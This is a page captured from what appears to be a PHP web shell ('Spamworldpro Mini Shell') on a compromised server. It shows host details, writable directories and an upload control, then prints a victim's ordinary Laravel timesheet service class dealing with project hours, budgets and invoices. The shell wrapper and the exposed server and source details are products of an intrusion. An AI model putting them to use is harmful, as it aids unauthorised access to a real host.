Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Services/ClientProjectService.php
<?php

namespace Corals\Modules\Timesheet\Services;


use Corals\Foundation\Services\BaseServiceClass;
use Corals\Modules\Timesheet\Classes\BagParameters;
use Corals\Modules\Timesheet\Classes\InvoiceGenerator;
use Corals\Modules\Timesheet\Facades\Timesheet;
use Corals\Modules\Timesheet\Models\Activity;
use Corals\Modules\Timesheet\Models\Client;
use Corals\Modules\Timesheet\Models\Entry;
use Corals\Modules\Timesheet\Models\Project;
use Corals\Modules\Utility\Facades\ListOfValue\ListOfValues;
use Corals\Settings\Facades\Settings;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Arr;

class ClientProjectService extends BaseServiceClass
{
    protected $excludedRequestParams = [
        'labels'
    ];

    public function baseTotalTimeQuery($start_date, $end_date, $project_id, $timeHoursType, $timeMinutesType)
    {

        return Entry::query()->where('timesheet_entries.project_id', '=', $project_id)
            ->whereBetween('timesheet_entries.spent_at', [$start_date, $end_date])
            ->join('timesheet_activities', 'timesheet_activities.id', '=', 'timesheet_entries.activity_id')
            ->selectRaw("((SUM(ifNull(timesheet_entries.$timeHoursType*60,0)) + SUM(ifNull(timesheet_entries.$timeMinutesType,0)))/60) as total_time,timesheet_activities.billable")
            ->groupBy('timesheet_activities.billable')->get();
    }

    public function getTotalInternalCostForProject(Request $request)
    {
        $billable_time = 0;
        $non_billable_time = 0;
        $start_date = $request->get('from_date');
        $end_date = $request->get('to_date');

        $TotalTimeForProjects = $this->baseTotalTimeQuery($start_date, $end_date, $request->get('project_id'), 'hours', 'minutes');

        foreach ($TotalTimeForProjects as $time) {
            if ($time['billable']) {
                $billable_time = $time['total_time'];
            } else {
                $non_billable_time = $time['total_time'];;
            }
        }
        return [
            'total_hours' => round($billable_time + $non_billable_time, 2),
            'billable_time' => round($billable_time, 2),
            'non_billable_time' => round($non_billable_time, 2)
        ];
    }

    public function getTotalEvaluationForProject(Request $request)
    {
        $evaluation_billable_time = 0;
        $evaluation_non_billable_time = 0;
        $start_date = $request->get('from_date');
        $end_date = $request->get('to_date');

        $totalEvaluationTime = $this->baseTotalTimeQuery($start_date, $end_date, $request->get('project_id'), 'evaluation_hours', 'evaluation_minutes');

        foreach ($totalEvaluationTime as $time) {
            if ($time['billable']) {
                $evaluation_billable_time = $time['total_time'];
            } else {
                $evaluation_non_billable_time = $time['total_time'];;
            }
        }
        return [
            'total_evaluation_time' => round($evaluation_billable_time + $evaluation_non_billable_time, 2),
            'evaluation_billable_time' => round($evaluation_billable_time, 2),
            'evaluation_non_billable_time' => round($evaluation_non_billable_time, 2)
        ];
    }

    public function getRemainingBudgetForProject(Request $request)
    {
        $project = Project::findOrFail($request->get('project_id'));
        $reset_budget_each_month = $project->reset_budget_each_month;
        $start_date = $request->get('from_date');
        $end_date = $request->get('to_date');

        $worked_hours_for_project = Entry::query()->where('timesheet_entries.project_id', '=', $project->id)
            ->when($reset_budget_each_month, function ($query) {
                $query->whereBetween('timesheet_entries.spent_at', [today()->startOfMonth()->toDateString(), today()->endOfMonth()->toDateString()]);
            }, function ($query) use ($start_date, $end_date) {
                $query->whereBetween('timesheet_entries.spent_at', [$start_date, $end_date]);
            })->selectRaw("((SUM(ifNull(timesheet_entries.hours*60,0)) + SUM(ifNull(timesheet_entries.minutes,0)))/60) as total_hour_entries")
            ->first()->total_hour_entries;

        return [
            'total_budget' => $project->budget,
            'worked_hours_for_project' => $worked_hours_for_project,
            'remaining_budget' => $project->budget - $worked_hours_for_project
        ];
    }

    /**
     * @param Request $request
     * @return array|JsonResponse
     */
    public function getFormData(Request $request)
    {
        $users = Timesheet::getUsersFormData('member')->toArray();
        $billable_activities = Activity::query()->where('billable', '=', 1)->select('title', 'id', 'hourly_rate')->get();
        $non_billable_activities = Activity::query()->where('billable', '=', 0)->select('title', 'id', 'hourly_rate')->get();


        return [
            'users' => $users,
            'billable_activities' => $billable_activities,
            'non_billable_activities' => $non_billable_activities,
            'status_options' => apiPluck(config('timesheet.models.project.status_options'), 'id', 'label'),
            'currency_options' => ListOfValues::get('currency'),
        ];
    }

    /**
     * @param $request
     * @param $additionalData
     */
    public function preStoreUpdate($request, &$additionalData)
    {
        $client = $request->route('client');
        if ($request->get('budget_by') === 'no_budget') {
            $additionalData['send_email_on_exceed_limit'] = false;
            $additionalData['reset_budget_each_month'] = false;
            $additionalData['budget_alert_limit'] = null;
        }
        $additionalData['client_id'] = $client->id;
        $additionalData['currency'] = Settings::get('admin_currency');
    }

    /**
     * @param Client $client
     * @param Project $project
     * @param $onlyTotals
     * @return \Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Eloquent\Model|mixed
     */
    public function generateInvoice(Client $client, Project $project, $onlyTotals, $date_range)
    {
        $bagParameters = new BagParameters([
            'project' => $project,
            'client' => $client,
            'only_totals' => $onlyTotals,
            'date_range' => $date_range
//            'description' => 'test desc...'
        ]);

        return (new InvoiceGenerator($bagParameters))->generate();
    }

    /**
     * @param $request
     * @param $additionalData
     */
    public function postStoreUpdate($request, &$additionalData)
    {
        $this->updateCreateProjectLabels();
        $this->handleProjectUsers($request);
        $this->handleProjectActivities($request);
    }

    /**
     *
     */
    protected function updateCreateProjectLabels(): void
    {
        $project = $this->model;

        $labels = collect(request('labels', []));

        list($labelsToUpdate, $labelsToCreate) = $labels->partition(function ($label) {
            return array_key_exists('id', $label) && !empty($label['id']);
        });


        if ($labelsToCreate = $labelsToCreate->toArray()) {
            $project->labels()->createMany($labelsToCreate);
        }

        $labelsToUpdate->each(function ($label) use ($project) {
            $project->labels()->where('id', $label['id'])
                ->update(Arr::except($label, 'id'));
        });
    }

    /**
     * @param $request
     */
    public function handleProjectUsers($request)
    {
        $users = data_get($request, 'user_rates', []);

        $usersToInsert = [];

        foreach ($users as $index => $user) {
            $usersToInsert[$user['user_id']]['user_rate'] = $user['user_rate'];
        }

        $this->model->users()->sync($usersToInsert);
    }

    /**
     * @param $request
     */
    public function handleProjectActivities($request)
    {
        $activity_rates = data_get($request, 'activity_rates', []);

        $activitiesToInsert = [];

        foreach ($activity_rates as $index => $activity) {
            $activitiesToInsert[$activity['activity_id']]['activity_rate'] = $activity['activity_rate'];
        }

        $this->model->activities()->sync($activitiesToInsert);
    }
}

Spamworldpro Mini